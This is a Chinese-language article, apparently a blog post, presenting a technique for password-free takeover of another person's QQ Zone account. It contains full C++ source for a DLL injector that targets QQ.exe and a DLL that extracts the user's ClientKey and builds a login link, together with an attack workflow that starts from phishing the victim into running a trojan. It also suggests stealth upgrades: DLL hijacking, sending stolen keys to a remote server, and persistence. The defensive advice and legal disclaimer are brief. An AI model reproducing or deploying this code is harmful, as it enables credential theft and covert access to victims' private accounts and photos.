无密码登录他人QQ空间可查看加密相册
字数 1167 2025-08-18 11:39:22

QQ空间无密码登录漏洞利用技术分析

一、技术概述

本文介绍了一种通过窃取已登录QQ或TIM用户的ClientKey来实现无密码登录其QQ空间的技术方法。该技术利用远程线程注入和DLL劫持技术,能够悄无声息地获取目标用户的QQ空间访问权限,包括查看加密相册等功能。

二、技术原理

1. 核心概念

  • ClientKey:QQ客户端登录后生成的身份验证密钥,可用于无密码登录QQ空间
  • 远程线程注入:将恶意代码注入到目标进程内存空间中执行的技术
  • DLL劫持:利用Windows DLL加载机制使目标程序加载恶意DLL的技术

2. 技术流程

  1. 通过钓鱼手段使目标运行木马程序
  2. 木马上线后上传攻击工具
  3. 通过远程线程注入将恶意DLL注入QQ进程
  4. DLL窃取ClientKey并保存
  5. 使用获取的ClientKey构造无密码登录链接

三、详细实现步骤

1. 准备工作

  • 准备两个关键文件:
    • dllInject.exe:远程线程注入程序
    • Dll1.dll:窃取ClientKey的DLL
  • 将这两个文件上传到目标机器的C盘根目录

2. 远程线程注入程序分析

// dllInject.cpp
#include "pch.h"
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <string.h>

#define DLL_PATH L"C:\\Dll1.dll" // 恶意DLL路径

// 获取QQ.exe进程ID
DWORD GetProcId() {
    PROCESSENTRY32 pe32;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    pe32.dwSize = sizeof(pe32);
    if(Process32First(hSnap, &pe32)) {
        do {
            if (lstrcmp(pe32.szExeFile,L"QQ.exe")==0) {
                return pe32.th32ProcessID;
            }
        } while(Process32Next(hSnap, &pe32));
    }
    return 0;
}

int main() {
    DWORD dwId = GetProcId(); // 获取QQ进程ID
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId);
    
    // 在目标进程分配内存并写入DLL路径
    DWORD dwSize = (wcslen(DLL_PATH) + 1) * 2;
    LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, lpAddress, DLL_PATH, dwSize, NULL);
    
    // 创建远程线程加载DLL
    CreateRemoteThread(hProcess, NULL, NULL, 
                      (LPTHREAD_START_ROUTINE)LoadLibraryW, 
                      lpAddress, NULL, NULL);
    
    // 清理资源
    CloseHandle(hProcess);
    return 0;
}

3. 恶意DLL分析

// dllmain.cpp
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>

typedef BSTR CTXStringW;

// 分配TX字符串
CTXStringW AllocTXString(const wchar_t* lpSrc) {
    if (!lpSrc) return NULL;
    BYTE* bBuffer = new BYTE[16 + (wcslen(lpSrc) + 1) * 2];
    DWORD dwZero = 0;
    DWORD dwCount = 3;
    DWORD dwLenth = wcslen(lpSrc) + 1;
    
    memmove(bBuffer + 0*4, &dwZero, 4);
    memmove(bBuffer + 1*4, &dwCount, 4);
    memmove(bBuffer + 2*4, &dwLenth, 4);
    memmove(bBuffer + 3*4, &dwLenth, 4);
    wcscpy((wchar_t*)(bBuffer + 4*4), lpSrc);
    
    return CTXStringW(bBuffer + 16);
}

VOID Steal() {
    do {
        // 获取KernelUtil.dll模块句柄
        HMODULE hKernelUtil = GetModuleHandle(L"KernelUtil.dll");
        if (!hKernelUtil) break;
        
        // 获取QQ号码
        PVOID PtrGetSelfUin = GetProcAddress(hKernelUtil, "?GetSelfUin@Contact@Util@@YAKXZ");
        if (!PtrGetSelfUin) break;
        
        DWORD uin = ((int(*)(int))PtrGetSelfUin)(1);
        if (!uin) break;
        
        // 获取ClientKey
        PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
        if (!GetSignature) break;
        
        WCHAR wsBuffer[MAX_PATH] = {0};
        CTXStringW ClientKey = AllocTXString(wsBuffer);
        PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
        if (!res) break;
        
        // 构造无密码登录链接
        char msg[MAX_PATH] = {0};
        sprintf(msg, "https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=%d&clientkey=%ws&u1=https://user.qzone.qq.com/%d/infocenter&source=panelstar\n", 
                uin, ClientKey, uin);
        
        // 将链接写入文件
        FILE *file = fopen("C:\\clientkey.txt", "w+");
        if (file) {
            fputs(msg, file);
            fclose(file);
        }
    } while(0);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        Steal();
    }
    return TRUE;
}

4. 攻击执行流程

  1. dllInject.exeDll1.dll上传至目标机器C盘根目录
  2. 在目标机器执行命令:C:\dllInject.exe
  3. 程序会自动:
    • 查找QQ.exe进程
    • 将Dll1.dll注入到QQ进程
    • DLL窃取ClientKey并保存到C:\clientkey.txt
  4. 从clientkey.txt中获取无密码登录链接

5. 无密码登录链接格式

https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=QQ号码&clientkey=ClientKey值&u1=https://user.qzone.qq.com/QQ号码/infocenter&source=panelstar

四、技术优化建议

  1. DLL劫持替代注入

    • 可以研究QQ加载的DLL,通过DLL劫持技术使QQ自动加载恶意DLL
    • 避免使用显式的注入操作,更加隐蔽
  2. 自动化数据回传

    • 修改DLL代码,将获取的ClientKey直接发送到远程服务器
    • 避免在本地留下日志文件
  3. 多进程兼容

    • 当前代码仅针对QQ.exe,可扩展支持TIM.exe
    • 修改GetProcId函数支持多进程检测
  4. 持久化机制

    • 添加自启动功能,在目标重启后仍能继续工作
    • 可以使用注册表或计划任务实现

五、防御措施

  1. 用户防护

    • 不要运行来历不明的程序
    • 定期检查系统异常进程和文件
    • 使用安全软件防护
  2. 系统加固

    • 设置UAC为最高级别
    • 限制非管理员用户的权限
    • 定期检查系统DLL完整性
  3. 开发者建议

    • QQ客户端应加强进程保护
    • 对关键函数进行混淆和加密
    • ClientKey应设置更短的过期时间

六、技术限制

  1. ClientKey有一定有效期(约1天)
  2. 需要目标QQ处于登录状态
  3. 需要获取目标机器执行权限
  4. 现代QQ版本可能已修复此漏洞

七、法律声明

本文仅用于技术研究和防御目的,未经授权对他人计算机系统进行此类操作属于违法行为,请遵守相关法律法规。

QQ空间无密码登录漏洞利用技术分析 一、技术概述 本文介绍了一种通过窃取已登录QQ或TIM用户的ClientKey来实现无密码登录其QQ空间的技术方法。该技术利用远程线程注入和DLL劫持技术,能够悄无声息地获取目标用户的QQ空间访问权限,包括查看加密相册等功能。 二、技术原理 1. 核心概念 ClientKey :QQ客户端登录后生成的身份验证密钥,可用于无密码登录QQ空间 远程线程注入 :将恶意代码注入到目标进程内存空间中执行的技术 DLL劫持 :利用Windows DLL加载机制使目标程序加载恶意DLL的技术 2. 技术流程 通过钓鱼手段使目标运行木马程序 木马上线后上传攻击工具 通过远程线程注入将恶意DLL注入QQ进程 DLL窃取ClientKey并保存 使用获取的ClientKey构造无密码登录链接 三、详细实现步骤 1. 准备工作 准备两个关键文件: dllInject.exe :远程线程注入程序 Dll1.dll :窃取ClientKey的DLL 将这两个文件上传到目标机器的C盘根目录 2. 远程线程注入程序分析 3. 恶意DLL分析 4. 攻击执行流程 将 dllInject.exe 和 Dll1.dll 上传至目标机器C盘根目录 在目标机器执行命令: C:\dllInject.exe 程序会自动: 查找QQ.exe进程 将Dll1.dll注入到QQ进程 DLL窃取ClientKey并保存到C:\clientkey.txt 从clientkey.txt中获取无密码登录链接 5. 无密码登录链接格式 四、技术优化建议 DLL劫持替代注入 : 可以研究QQ加载的DLL,通过DLL劫持技术使QQ自动加载恶意DLL 避免使用显式的注入操作,更加隐蔽 自动化数据回传 : 修改DLL代码,将获取的ClientKey直接发送到远程服务器 避免在本地留下日志文件 多进程兼容 : 当前代码仅针对QQ.exe,可扩展支持TIM.exe 修改GetProcId函数支持多进程检测 持久化机制 : 添加自启动功能,在目标重启后仍能继续工作 可以使用注册表或计划任务实现 五、防御措施 用户防护 : 不要运行来历不明的程序 定期检查系统异常进程和文件 使用安全软件防护 系统加固 : 设置UAC为最高级别 限制非管理员用户的权限 定期检查系统DLL完整性 开发者建议 : QQ客户端应加强进程保护 对关键函数进行混淆和加密 ClientKey应设置更短的过期时间 六、技术限制 ClientKey有一定有效期(约1天) 需要目标QQ处于登录状态 需要获取目标机器执行权限 现代QQ版本可能已修复此漏洞 七、法律声明 本文仅用于技术研究和防御目的,未经授权对他人计算机系统进行此类操作属于违法行为,请遵守相关法律法规。